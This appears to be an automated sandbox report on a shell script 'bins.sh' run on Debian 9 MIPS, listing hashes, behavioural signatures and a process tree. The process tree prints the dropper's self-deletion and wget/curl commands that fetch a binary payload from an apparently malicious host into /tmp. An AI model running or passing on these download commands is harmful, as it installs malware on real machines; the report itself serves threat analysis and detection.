Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

4

bins.sh

debian-9-mips

3

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    9s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/12/2024, 00:45

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f7b77f27b4f964cb9736f62c0130544f

  • SHA1

    abfcdccbb2ed92e0bf7c8d90df6d924361ed7d55

  • SHA256

    13e3ec2cd7d02cf96bb0d74baf8edf5de1cb478d06885039fbd4745e4fe64529

  • SHA512

    6694914ba2e11852115407574f134c8516dd891947584d4a5e4c3d9b1c99d47ba61781088d981d7182d268440486e4d8435e9f961b469e1b73193aba5fb732c5

  • SSDEEP

    96:YQlQFQnQEZLXroMQELmW/mWpRJvL2K2C2cLV13EPLO+P9t95P94Rz53DIDEDn+Uf:Be+nQEZLdZHGdAVe+nQED

Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/fIilnXjBLO3fjLcyxZqH8yX12RX8Yy23zk
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/fIilnXjBLO3fjLcyxZqH8yX12RX8Yy23zk
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:722

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • /tmp/fIilnXjBLO3fjLcyxZqH8yX12RX8Yy23zk
        Filesize

        151KB

        MD5

        6c583043d91c55aa470c08c87058e917

        SHA1

        abf65a5b9bba69980278ad09356e53de8bb89439

        SHA256

        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

        SHA512

        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

        Download Submit